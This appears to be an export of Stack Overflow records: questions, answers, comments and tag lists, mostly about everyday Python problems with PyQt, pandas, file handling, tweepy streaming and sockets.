self.syncToServer() #this function should run after main window show self.pushButton.pressed.connect(self.chooseLauncherFile) #this line come from another file #to use a button to call function It's highly appreciate if you could help me make code of top works, in another world, create a new window automatically not using button.
answer count: 0
has comment: http://stackoverflow.com/comment/85936265
tagged with: pyqt
score: 0
tagged with: pyqt5
has comment: http://stackoverflow.com/comment/86099463
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86085108

http://stackoverflow.com/comment/85940254
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49467167
has text: Try a different parser

http://stackoverflow.com/comment/85959221
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49477468
type: Comment
has text: ok, thanks for help. i did it this way: `elements = df.columns.get_level_values(0)[0:8].tolist()` works well. :)

http://stackoverflow.com/q/49462451
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85931581
accepted answer: http://stackoverflow.com/a/49462508
tagged with: http://stackoverflow.com/tag/csv
tagged with: datetime
has title: to write csv file in python after 24 hours automatically?
tagged with: python
score: -1
has body: get current time and date to write csv file What is the module and method used to write CSV file in python after 24 hours automatically?
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/49462508
downvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/85927894
has comment: http://stackoverflow.com/comment/85927718

http://stackoverflow.com/comment/86170262
score: 0
type: Comment
type: QuestionComment
has text: @CharlesDuffy Nice. I considered python-pcre but figured that was cheating ;) Didn't know about re2, looks nice. Going to install and have a play. Thank you!
comment on: http://stackoverflow.com/q/49580317

http://stackoverflow.com/q/49538983
has comment: http://stackoverflow.com/comment/86089249
score: 0
has title: PyQt: nested inheritance setupUi
tagged with: pyqt5
has comment: http://stackoverflow.com/comment/86166526
has comment: http://stackoverflow.com/comment/86168914
type: Question
has comment: http://stackoverflow.com/comment/86099285
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86089124
answer count: 0
tagged with: pyqt
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86244164
tagged with: python
has body: I'm trying to make a custom widget getting more and more descriptive with each sub class. For instance below, I'm adding to a list of boxes as I make them. I want do_stuff() to only run once but I want it to run on initialization. My problem is that I need all of the __setupUi() functions to run before I finish it. Any help is appreciated. from PyQt5 import QtCore, QtWidgets class layer4: def __init__(self): self.boxes = [] self.__setupUi() # I want to run this once AFTER all of the children (regardless of how deep it goes) have run self.do_stuff() def __setupUi(self): self.qsb = QtWidgets.QSpinBox() self.boxes.append(self.qsb) def do_stuff(self): print(self.boxes) class layer3(layer4): def __init__(self): super().__init__() self.__setupUi() def __setupUi(self): self.qsb2 = QtWidgets.QSpinBox() self.boxes.append(self.qsb2) class layer2(layer3): def __init__(self): super().__init__() self.__setupUi() def __setupUi(self): self.datetimebox = QtWidgets.QDateTimeEdit() self.boxes.append(self.datetimebox) class layer1(layer2): def __init__(self): super().__init__() self.__setupUi() def __setupUi(self): self.other = QtWidgets.QDateTimeEdit() self.boxes.append(self.other) So if I run t = layer2() It should return 2 QSpinboxes and 1 datetimeedit
has comment: http://stackoverflow.com/comment/86091605

http://stackoverflow.com/comment/86117134
comment on: http://stackoverflow.com/a/49554802
score: 0
type: Comment
has text: Thank you your response. I did your suggested changes and I am facing a new error now, so I think that is progress. New error is: 'NoneType' object is not subscriptable
type: AnswerComment

http://stackoverflow.com/a/49580150
score: 1
upvote count: 1
has body: If you just need to select a particular 8 hours, you can do as follows: start_time = datetime.datetime(2017, 11, 9,11, 2, 14) df[(df['click_time' &gt;= start_time) &amp; (df['click_time'] &lt;= start_time+datetime.timedelta(0, 60*60*8))] Otherwise I really think you need to look more at resample. Mind you, if you want resample to have your data divided into 8 hour chunks that are always consistent (e.g. from 00:00-08:00, 08:00-16:00, 16:00-00:00), then you will probably want to crop your data to a certain start time.
has comment: http://stackoverflow.com/comment/86168304
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49579978

http://stackoverflow.com/a/49458343
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/85919709
has comment: http://stackoverflow.com/comment/85919651
has comment: http://stackoverflow.com/comment/85919812
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/85919785
has body: Use the in operator: if string in ["J", "O", "J_1", "Z"]: print("Winner!")
accepted answer of: http://stackoverflow.com/q/49458330
score: 3
answers question: http://stackoverflow.com/q/49458330
has comment: http://stackoverflow.com/comment/85919809

http://stackoverflow.com/q/49549368
tagged with: python
has title: Having trouble with checkmouse
has body: I'm having trouble figuring out how to undraw something when there is a mouse click within a particular object (rectangle). I want the code to work in the way that when I click in the rectangle it erases the text (because I have to draw something else). My professor doesn't like us to be importing a bunch of different libraries etc., so a simple method is much preferred. The graphics library that we use from Zelle can be found here: http://mcsp.wartburg.edu/zelle/python/graphics.py Here is the code I have now. #... is a game to celebrate the 150th anniversay of ... #The aim of the game is for players to complete a maze , but only #with the least number of moves possible, and crossing the least number of #trip wires. BoilerMazer keeps track of the names, moves, and scores. Then #will also display the top players and scores. from graphics import * #creating the game panel window def panel(): #grey window, with coordinates flipped, with banners etc win = GraphWin("Start Panel", 300,200) win.setCoords(0,0,300,200) win.setBackground("light grey") #drawing the BoilerMazer banner with text boilermazer = Rectangle(Point(0,200),Point(300,160)) boilermazer.setFill("white") boilermazer.draw(win) #text inside banner1 = Text(Point(150,180),"BoilerMazer") banner1.setStyle("bold") banner1.setSize(20) banner1.draw(win) #initial game panel is going to have two buttons and a top scores object #top score "screen" toprec = Rectangle(Point(60,140),Point(240,50)) toprec.setFill("white") toprec.draw(win) #text inside toprec topscores = Text(Point(150,130),"TOP SCORES") topscores.setSize(8) topscores.draw(win) border = Text(Point(150,120),"======") border.draw(win) bigmac = Text(Point(150,110),"Big Mac 21") bigmac.setSize(8) bigmac.draw(win) tt = Text(Point(150,90),"T.T 23") tt.setSize(8) tt.draw(win) cshell = Text(Point(150,75),"C-Shell 25") cshell.setSize(8) cshell.draw(win) macmac = Text(Point(150,55),"MacMac 27") macmac.setSize(8) macmac.draw(win) #new player button that will eventuall…
has comment: http://stackoverflow.com/comment/86106319
score: 0
has comment: http://stackoverflow.com/comment/86106252
answer count: 0
has comment: http://stackoverflow.com/comment/86106528
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86106415

http://stackoverflow.com/comment/102404753
type: Comment
has text: The googletrans api limits an IP address to a certain amount of calls within a certain amount of time. Because I needed to make a lot of calls, I decided to use my VPN which allows me to change my IP address. My code above detects when googletrans's API restricts a call, "except json.decoder.JSONDecodeError", and using the library "import subprocess" I execute commands to change my VPN server and then try an make the API call again, now with a different IP address.
type: AnswerComment
comment on: http://stackoverflow.com/a/57025015
score: 0

http://stackoverflow.com/comment/85928666
comment on: http://stackoverflow.com/q/49462599
score: 0
has text: @Georgy Thanks for the link! It turns out that I hadn't installed the Python Bindings for the program.
type: Comment
type: QuestionComment

tensorflow
tags question: http://stackoverflow.com/q/49455932
tags question: http://stackoverflow.com/q/49588308
tags question: http://stackoverflow.com/q/49478657
tags question: http://stackoverflow.com/q/49521543
tags question: http://stackoverflow.com/q/49570255
tags question: http://stackoverflow.com/q/49523140
type: Tag
tags question: http://stackoverflow.com/q/49539273
tags question: http://stackoverflow.com/q/49587426
tags question: http://stackoverflow.com/q/49512702
tags question: http://stackoverflow.com/q/49593985
tags question: http://stackoverflow.com/q/49588382
tags question: http://stackoverflow.com/q/49564318
tags question: http://stackoverflow.com/q/49498706
tags question: http://stackoverflow.com/q/49564126
tags question: http://stackoverflow.com/q/49525056
tags question: http://stackoverflow.com/q/49565638
tags question: http://stackoverflow.com/q/49500899
tags question: http://stackoverflow.com/q/49492253
tags question: http://stackoverflow.com/q/49505319
tags question: http://stackoverflow.com/q/49568491
tags question: http://stackoverflow.com/q/49582103
tags question: http://stackoverflow.com/q/49465464
tags question: http://stackoverflow.com/q/49468486
tags question: http://stackoverflow.com/q/49484066
tags question: http://stackoverflow.com/q/49490262
tags question: http://stackoverflow.com/q/49478956
tags question: http://stackoverflow.com/q/49495364
tags question: http://stackoverflow.com/q/49457543
tags question: http://stackoverflow.com/q/49489335
tags question: http://stackoverflow.com/q/49475023
tags question: http://stackoverflow.com/q/49485480
tags question: http://stackoverflow.com/q/49528515
tags question: http://stackoverflow.com/q/49558207
tags question: http://stackoverflow.com/q/49581557
tags question: http://stackoverflow.com/q/49473288
tags question: http://stackoverflow.com/q/49443018
tags question: http://stackoverflow.com/q/49560443
tags question: http://stackoverflow.com/q/49589088
tags question: http://stackoverflow.com/q/49457096
tags question: http://stackoverflow.com/q/49445111
tags question: http://stackoverflow.com/q/49466563
tags question: http://stackoverflow.com/q/49560347
tags question: http://stackoverflow.com/q/49534421
tags question: http://stackoverflow.com/q/49592196
tags question: http://stackoverflow.com/q/49476287
tags question: http://stackoverflow.com/q/49596937
tags question: http://stackoverflow.com/q/49441748
tags question: http://stackoverflow.com/q/49534693
tags question: http://stackoverflow.com/q/49525530
tags question: http://stackoverflow.com/q/49564403
tags question: http://stackoverflow.com/q/49482561
tags question: http://stackoverflow.com/q/49512935
tags question: http://stackoverflow.com/q/49554177
tags question: http://stackoverflow.com/q/49493372
tags question: http://stackoverflow.com/q/49542369
tags question: http://stackoverflow.com/q/49592049
tags question: http://stackoverflow.com/q/49482436
tags question: http://stackoverflow.com/q/49578055
tags question: http://stackoverflow.com/q/49474467
tags question: http://stackoverflow.com/q/49471437
tags question: http://stackoverflow.com/q/49453535
tags question: http://stackoverflow.com/q/49540365
tags question: http://stackoverflow.com/q/49572606
tags question: http://stackoverflow.com/q/49583830
tags question: http://stackoverflow.com/q/49449442
tags question: http://stackoverflow.com/q/49584365
tags question: http://stackoverflow.com/q/49514284
tags question: http://stackoverflow.com/q/49457088
tags question: http://stackoverflow.com/q/49544165
tags question: http://stackoverflow.com/q/49463577
tags question: http://stackoverflow.com/q/49555016
tags question: http://stackoverflow.com/q/49471240
tags question: http://stackoverflow.com/q/49539783
tags question: http://stackoverflow.com/q/49490327
tags question: http://stackoverflow.com/q/49499285
tags question: http://stackoverflow.com/q/49464636
tags question: http://stackoverflow.com/q/49479083
tags question: http://stackoverflow.com/q/49586935
tags question: http://stackoverflow.com/q/49465549

http://stackoverflow.com/comment/86173570
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49546421
score: 0
has text: Yes, I think you are. When the browser logs in, it posts the credentials. You need to do the same in your script.

http://stackoverflow.com/a/49581798
has comment: http://stackoverflow.com/comment/86193521
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86192693
score: 3
accepted answer of: http://stackoverflow.com/q/49581695
type: Answer
answers question: http://stackoverflow.com/q/49581695
has body: Option 1 df.A.unstack().pipe(lambda d: d.div(d.sum(1), 0)).stack() i0 i1 i2 a alpha hello 0.250000 world 0.750000 beta hello 0.416667 world 0.583333 b alpha hello 0.250000 world 0.750000 beta hello 0.416667 world 0.583333 dtype: float64 Option 2 df.A / df.groupby(['i0', 'i1']).A.transform('sum') i0 i1 i2 a alpha hello 0.250000 world 0.750000 beta hello 0.416667 world 0.583333 b alpha hello 0.250000 world 0.750000 beta hello 0.416667 world 0.583333 Name: A, dtype: float64 Option 3 f, u = pd.factorize([t[:2] for t in df.index.values]) df.A / np.bincount(f, df.A)[f] i0 i1 i2 a alpha hello 0.250000 world 0.750000 beta hello 0.416667 world 0.583333 b alpha hello 0.250000 world 0.750000 beta hello 0.416667 world 0.583333 Name: A, dtype: float64
upvote count: 3
has comment: http://stackoverflow.com/comment/86171988
downvote count: 0

http://stackoverflow.com/a/49506173
has body: So assuming you're using the built-in cron resource (you might want to use the cron_d resource instead, there are some subtle differences), it's all just writing the Ruby code you want: params = data_bag_item('bagname', 'itemname') cron 'myscript' do command "python /path/to/execute.py #{params['user']} #{params['password']}" # Other properties here to set the schedule. # ... end
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/49495648
downvote count: 0

http://stackoverflow.com/q/49587001
tagged with: reverse-engineering
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49587102
has comment: http://stackoverflow.com/comment/86181895
upvote count: 0
has body: i see alot of code patterns in Reverse Engineering writeups and i don't understand it like this one (some_value &gt;&gt; 8) &amp; 0xff can anyone explain it?
tagged with: bit-manipulation
downvote count: 2
answer count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49587102
has title: i cant understand this bit-manipulation python code
tagged with: reverse
score: -2
tagged with: bit-shift

http://stackoverflow.com/q/49465184
has body: I have a script that streams twitter data filtered by one keyword. It streams the data into a csv file but the tweets have a multitude of objects attached to it e.g. Id, created_at, text, source etc. I only need a few of these objects to append to the csv file but even after splitting the data and appending only the text object, some tweets appear with all the tweet objects appended. It seems the tweets that are retweets splits fine, normal tweets however do not split. This is my code: ckey = 'xxxxxxxxxxxxxx' csecret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx' atoken = 'xxxxxxxxxxxxxxxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' asecret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' auth = OAuthHandler(ckey, csecret) auth.set_access_token(atoken, asecret) api = tweepy.API(auth) def dateRange(start, end): current = start while(end - current).days &gt;=0: yield current current = current + datetime.timedelta(seconds = 1) class Tweetlistener(StreamListener): def on_data(self, data): startdate = datetime.datetime(2016,6,1) enddate = datetime.datetime(2016,6,7) for date in dateRange(startdate, enddate): try: ##This is where I split the data tweet = data.split(',"text":"')[1].split('","source')[0] saveThis = str(time.time())+'::'+tweet saveFile = open('test.csv', 'a') saveFile.write(saveThis) saveFile.write('\n') return True except ValueError: print("Something went wrong with streaming") saveFile.close() def on_error(self, status): print(status) twitterStream = Stream(auth, Tweetlistener(), secure = True) twitterStream.filter(track=['brexit']) This is the result in the csv file The first cell is a retweet and it splits as i intend it to, the cell below isn't a retweet and it appends all tweet objects. How would I be able to split the data and only append the text, created_at, retweet_count, location, co-ordinates? EDIT: This is the raw data thats put in to one row per tweet (not my data, just an example i found online): { 'contributors': None, 'truncated': False, 'text': 'My Top Followers in 20…
possible better answer: http://stackoverflow.com/a/49466400
has comment: http://stackoverflow.com/comment/85933326
type: AnsweredQuestion
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/85933355
has answer: http://stackoverflow.com/a/49466400
tagged with: twitter-streaming-api
accepted answer: http://stackoverflow.com/a/49465370
type: Question
tagged with: split
has comment: http://stackoverflow.com/comment/85933750
has answer: http://stackoverflow.com/a/49465370
tagged with: python
tagged with: twitter
has comment: http://stackoverflow.com/comment/85933389
tagged with: tweepy
has title: How to split twitter streaming data and append the text to csv file?

http://stackoverflow.com/q/49588694
has comment: http://stackoverflow.com/comment/86185224
type: Question
tagged with: newline
has comment: http://stackoverflow.com/comment/86187275
has answer: http://stackoverflow.com/a/49588765
has body: Strings read from a txt. The code removes page numbers in it. It works. The question is that how to make removing of each newline symbol in even string. Also is it possible to remove newlines of each string what ends with number to unite digits and words as whole one? Example of testfile.txt: 0000.0000.3214.6550 Chineese citizen 0000.0000.1264.2020 Dodge Challenger 1 Desired output.txt: 0000.0000.3214.6550 Chineese citizen 0000.0000.1264.2020 Dodge Challenger I even tried regex but it always removes everything after the first string. As in this way. x = 1 with open("testfile.txt", "r") as input: with open("out.txt", "w") as output: for line in input: line = line.strip() #whitespace clearing try: int(line) #checking except ValueError: output.write(line + "\n") x + x + 1 for line in input: line = line.replace("\n", "")
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/49588787
tagged with: text
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49588853
has answer: http://stackoverflow.com/a/49588948
has answer: http://stackoverflow.com/a/49588853
score: 0
accepted answer: http://stackoverflow.com/a/49588787
tagged with: string
has title: Remove newline character from each even string in txt python

http://stackoverflow.com/comment/86193398
comment on: http://stackoverflow.com/a/49592472
type: Comment
type: AnswerComment
score: 3
has text: I would counter to say, *as soon as* you want / need to perform numerical Python work, you should install `numpy`.

http://stackoverflow.com/q/49542621
has comment: http://stackoverflow.com/comment/86093475
tagged with: pandas
upvote count: 0
answer count: 1
downvote count: 3
has comment: http://stackoverflow.com/comment/86125420
has body: I am creating a API in flask. I want to display the pandas dataframe right opposite the upload button. I can google through various ways of justifying the column headers/text, but not the frame itself. The flask code used is: app = Flask(__name__) @app.route('/upload', endpoint='upload_file1') def upload_file1(): df_table=data.head().to_html() return render_template('upload.html', df_table=df_table) html code is: CR prediction tool {% block content %} {% endblock %}
favorite count: 0
type: Question
type: UnansweredQuestion
score: -3
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/86092717
tagged with: python
has answer: http://stackoverflow.com/a/49559036
tagged with: flask
tagged with: css
has title: right align pandas data frame in flask

http://stackoverflow.com/comment/85920941
has text: How is it possible? You didn't provide an answer
comment on: http://stackoverflow.com/q/49458976
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49472128
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49471674
has body: If you are looking for something fairly lightweight that "suits your situation" and doesn't evaluate "all mathematical expressions" then a whitelist method might serve you well x = np.array(x_range) print('equation types') print('1) y=mx+b') print('2) y=a*sin(b*(x+c))') print('3) y=ax^2 + bx + c') #...etc. eq = int(input('equation type number: ')) if eq == 1: m = float(input('m')) b = float(input('b')) y = m*x+b if eq == 2: #...etc. plt.plot(x, y) plt.show()

http://stackoverflow.com/comment/86050420
has text: @BryanOakley Hum. It looks like `sleep()` is being used in the `quit()` method. Is this not in the tkinter instance?
type: QuestionComment
comment on: http://stackoverflow.com/q/49521672
score: 0
type: Comment

http://stackoverflow.com/comment/86151512
has text: @Joeydanieldarko Thanks for advice, But As i know carousel is for Image slide show. In my application, I dont want Images to slide. That's why i choose 'NoTransition' in 'screenmanager'. Also the delay between two consecutive images may change in my application. I'm working on it
comment on: http://stackoverflow.com/a/49537950
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/133500882
has text: Is there a way to set global links? https://stackoverflow.com/questions/75618146/jupyter-notebooks-set-global-style-reference-style-links
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49717704
type: AnswerComment

http://stackoverflow.com/q/49468982
has body: So, I am trying to use python to write a high scores text file that can be read later when someone else opens the program. I have done this before in C++ and it looks like this: void main() { //Declare local variables int High_Score[5]; int Rank; string High_Score_Name[5]; //Initialize a high score at 0 High_Score[4] = 0; //Input the high scores from a file ifstream Input_High_Scores; Input_High_Scores.open("High_Scores.txt"); for (int i = 0; i &lt; 5; i++) { Input_High_Scores &gt;&gt; High_Score[i]; Input_High_Scores &gt;&gt; High_Score_Name[i]; } Input_High_Scores.close(); if (High_Score[4] == 0) { //Initialize local variables High_Score[0] = 999999999; High_Score[1] = 40000; High_Score[2] = 37000; High_Score[3] = 30000; High_Score[4] = 25000; High_Score_Name[0] = "Developer"; High_Score_Name[1] = "Adam"; High_Score_Name[2] = "Nastasia"; High_Score_Name[3] = "Nicolas"; High_Score_Name[4] = "Dani"; } } What I need is a version that does what this does in Python. I have found a way to save 1 value in a text file, but I want it to save 10 values in total. 5 names and 5 scores for those names. I also need to know how to read those values in the program. Here is what I have so far: # Trivia game created by NeverEndingCycle Start = "" Exit = "" Score = int(0) Next = "" HighScore = int(0) def GetHighScore(): # Default high score HighScore = 0 # Try to read the high score from a file try: high_score_file = open("high_score.txt", "r") HighScore = int(high_score_file.read()) high_score_file.close() print("The high score is", HighScore) except IOError: # Error reading file, no high score print("There is no high score yet.") print("") except ValueError: # There's a file there, but we don't understand the value. print("I'm confused. Starting with no high score.") return HighScore def save_high_score(new_high_score): try: # Write the file to disk high_score_file = open("Highscore.txt", "w") high_score_file.write(str(new_high_score)) high_score_file.close() except IOError: # Hm,…
linked to: http://stackoverflow.com/q/21019942
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49469237
possible better answer: http://stackoverflow.com/a/49469244
answer count: 2
upvote count: 2
has answer: http://stackoverflow.com/a/49469237
score: 2
has answer: http://stackoverflow.com/a/49469244
downvote count: 0
has title: How can I read and write multiple values in a text file with Python?
tagged with: python
tagged with: c++
type: AnsweredQuestion

http://stackoverflow.com/comment/85923569
comment on: http://stackoverflow.com/a/49460259
type: Comment
score: 0
has text: is it possible to edit this attribute inside of the function itself using something like `self.__name__ == mystr`???
type: AnswerComment

http://stackoverflow.com/a/49467392
type: Answer
has body: You don't need to fit multiple times for predicting a value by given features since your algorithm already learned your train set. Check the codes below. # Split your data into train and test sets X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.8, random_state=0) # Teach your data to your algorithm with train set lr = LinearRegression() lr.fit(X_train, y_train) # Now it can predict y_pred = lr.predict(X_test) # Use test set to see how accurate it predicts lr_score = lr.score(y_pred, y_test)
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/85938953
downvote count: 0
answers question: http://stackoverflow.com/q/49466944
has comment: http://stackoverflow.com/comment/85939447

python-import
tags question: http://stackoverflow.com/q/49456069
tags question: http://stackoverflow.com/q/49581353
tags question: http://stackoverflow.com/q/49453989
tags question: http://stackoverflow.com/q/49465868
tags question: http://stackoverflow.com/q/49504252
tag name: python-import
type: Tag
tags question: http://stackoverflow.com/q/49451650
tags question: http://stackoverflow.com/q/49490075
tags question: http://stackoverflow.com/q/49484271
tags question: http://stackoverflow.com/q/49471084
tags question: http://stackoverflow.com/q/49460907
tags question: http://stackoverflow.com/q/49475078
tags question: http://stackoverflow.com/q/49583758
tags question: http://stackoverflow.com/q/49527898
tags question: http://stackoverflow.com/q/49581224

http://stackoverflow.com/q/49513794
linked to: http://stackoverflow.com/q/1207406
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/2612802
score: 0
duplicate of: http://stackoverflow.com/q/1207406
downvote count: 3
tagged with: python
has comment: http://stackoverflow.com/comment/86032889
has body: I know this is a basic question but here it's weird. I have no idea why this is giving the error. plz help me with this. Thanks in advance arr = [11,22,33,44,55,66,77] brr = [1,2,3,4,55] res_arr = arr for i in range(len(arr)): if arr[i] in brr: res_arr.remove(arr[i]) Gives me the error List index out of range. Any clues EDIT : This helped me solve the error. res_arr = list(arr)
type: AnsweredQuestion
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49513841
has comment: http://stackoverflow.com/comment/86032374
duplicate of: http://stackoverflow.com/q/44633798
upvote count: 3
has answer: http://stackoverflow.com/a/49513841
answer count: 1
has comment: http://stackoverflow.com/comment/86032587
has comment: http://stackoverflow.com/comment/86032513
has title: List index out of range while removing elements from array
has comment: http://stackoverflow.com/comment/86032521

http://stackoverflow.com/comment/86072882
score: 0
comment on: http://stackoverflow.com/q/49533256
has text: You question is very generic and therefor hard to answer. Can you get more specific?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86123858
score: 0
comment on: http://stackoverflow.com/q/49557809
has text: What is `a` and `b` in your case? Providing the full error traceback would be quite helpful.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49454718
type: Answer
has comment: http://stackoverflow.com/comment/85912570
answers question: http://stackoverflow.com/q/49454444
has body: You can do this in one line with next() called on a generator that uses the enumerate() function to get the index of the line. So, as a function: def func(f, t): return next(i for i, l in enumerate(open(f).read().split('\n'), 1) if l == t) which would be called through something like: func('textfile.txt', 'ghi') # --&gt; 3 note: the enumerate(..., 1) trick was from @KeyurPotdar, so creds
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/85912468

http://stackoverflow.com/a/49457410
has comment: http://stackoverflow.com/comment/85920961
has body: So are you looking for something like this? import pandas as pd import numpy as np df = pd.DataFrame({'id': [1, 2, 3], 'x1': ['1_a', '1_b', 'NX']}) df['x2'], df['x3'] = df['x1'].str.split('_', 1).str df.loc[df['x3'].isnull(),'x3'] = df['x1'] df['x2'] = df['x2'].replace(df['x1'],np.nan) df out: id x1 x2 x3 0 1 1_a 1 a 1 2 1_b 1 b 2 3 NX NaN NX
answers question: http://stackoverflow.com/q/49455719
downvote count: 0
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/85918354
score: 1

http://stackoverflow.com/q/49471142
answer count: 0
has body: I am using fuzzy wuzzy for some word matching in Python. When I try and run a loop, I simply get no output. I'm wondering if I'm doing something wrong? I've recreated my problem with the code below: from fuzzywuzzy import fuzz, process choices = ['hello', 'world', 'today'] others = ['happy', 'today', 'colours'] for i in choices: print(i) process.extract(i, others) Output: hello world today Process finished with exit code 0 Why is nothing happening for process.extract()? I'd like this to try and match everything in 'choices' to everything in 'others'
has comment: http://stackoverflow.com/comment/85944935
tagged with: loops
type: Question
has comment: http://stackoverflow.com/comment/85944939
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/85950374
has title: Python - FuzzyWuzzy - Loop Issue
tagged with: fuzzywuzzy
score: 0

pycharm
tags question: http://stackoverflow.com/q/49527391
tags question: http://stackoverflow.com/q/49523166
tags question: http://stackoverflow.com/q/49537804
tags question: http://stackoverflow.com/q/49596913
tags question: http://stackoverflow.com/q/49590401
tags question: http://stackoverflow.com/q/49465670
tags question: http://stackoverflow.com/q/49486592
tags question: http://stackoverflow.com/q/49520815
tags question: http://stackoverflow.com/q/49456254
tags question: http://stackoverflow.com/q/49499416
tags question: http://stackoverflow.com/q/49492778
tags question: http://stackoverflow.com/q/49570025
tag name: pycharm
tags question: http://stackoverflow.com/q/49521321
tags question: http://stackoverflow.com/q/49457484
tags question: http://stackoverflow.com/q/49441354
tags question: http://stackoverflow.com/q/49482586
tags question: http://stackoverflow.com/q/49597680
tags question: http://stackoverflow.com/q/49525590
tags question: http://stackoverflow.com/q/49597752
tags question: http://stackoverflow.com/q/49590628
tags question: http://stackoverflow.com/q/49450646
type: Tag
tags question: http://stackoverflow.com/q/49471771
tags question: http://stackoverflow.com/q/49465166
tags question: http://stackoverflow.com/q/49460212
tags question: http://stackoverflow.com/q/49573516
tags question: http://stackoverflow.com/q/49537047
tags question: http://stackoverflow.com/q/49595809
tags question: http://stackoverflow.com/q/49584755
tags question: http://stackoverflow.com/q/49466785
tags question: http://stackoverflow.com/q/49455960
tags question: http://stackoverflow.com/q/49464069
tags question: http://stackoverflow.com/q/49504252
tags question: http://stackoverflow.com/q/49585758
tags question: http://stackoverflow.com/q/49524981
tags question: http://stackoverflow.com/q/49532525

http://stackoverflow.com/comment/85973068
has text: Why show us the output of `which cron`? `/usr/sbin/cron` is the cron daemon, and you never need to interact with it directly.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49483695
type: QuestionComment

http://stackoverflow.com/comment/86108285
type: Comment
has text: This is indeed weird... I cannot reproduce the issue without having specific details regarding the DB, website etc., but in general, I would offer 2 improvements to your code: 1. Do not use `global` variables unless necessary, try to use scoped variables instead in you code. 2. when using generators, you should probably define them in another function and then iterate over that
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49550069

http://stackoverflow.com/comment/86019180
comment on: http://stackoverflow.com/a/49506168
type: AnswerComment
has text: it crashes and says pygame.error with ur code, my old code was starting an spawning the enemies but i cant use ESC to close it becouse he is telling me that K_ESCAPE is not a member of pygame
score: 0
type: Comment

http://stackoverflow.com/q/49527766
answer count: 2
has body: import socket MAX_BUFFER_SIZE = 4096 class ClientSocket: def __init__(self): print("Client socket started....") self.soc = None def send_to_Server(self, data): print('Time to send data to Server..... %s', data) self.soc.send(data.encode("utf8")) def receive_from_Server(self): print('Time to receive from Server.....') result_bytes = self.soc.recv(MAX_BUFFER_SIZE) result_string = result_bytes.decode("utf8") print("Result from server is {}".format(result_string)) def start_client(self): self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.soc.connect(("localhost", 8000)) print('Client connected....') husainshoab@hs-Len:~$ python IOTDeviceSocket.py Traceback (most recent call last): File "IOTDeviceSocket.py", line 7, in class ClientSocket: File "IOTDeviceSocket.py", line 11, in ClientSocket self.soc = None NameError: name 'self' is not defined
tagged with: self
has comment: http://stackoverflow.com/comment/86061334
type: UnansweredQuestion
tagged with: sockets
tagged with: python
has comment: http://stackoverflow.com/comment/86061177
has answer: http://stackoverflow.com/a/49527867
has title: Python Socket Program - NameError: name 'self' is not defined. I changed the localhost, ports etc but this error refuses to go away
score: 0
tagged with: linux
has answer: http://stackoverflow.com/a/49527904
type: Question

http://stackoverflow.com/comment/86071791
type: AnswerComment
comment on: http://stackoverflow.com/a/49532619
score: 0
type: Comment
has text: I think you need to be a lot more clear about what you are asking and post an example. What do you mean you want a "yield in the caller"? What caller? I think you need to post an example because right now this question doesn't make any sense.

http://stackoverflow.com/comment/86282669
type: Comment
type: QuestionComment
has text: Your displayed config seems appropriate to me and I see no reason why it should not be displayed in the Console. Perhaps you can consider similar implementation as explained [here](https://cloud.google.com/deployment-manager/docs/step-by-step-guide/using-multiple-templates#create_a_template_that_uses_the_network_firewall_and_virtual_machine_templates)
comment on: http://stackoverflow.com/q/49447287
score: 0

http://stackoverflow.com/comment/85933762
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49465497
score: 0
has text: These are all alternatives to SpiXel's answer, which is also perfectly valid, and is easier to use.

http://stackoverflow.com/q/49442446
has answer: http://stackoverflow.com/a/49443007
has title: How do I access data within data in Python?
score: -2
has comment: http://stackoverflow.com/comment/85947899
upvote count: 1
favorite count: 0
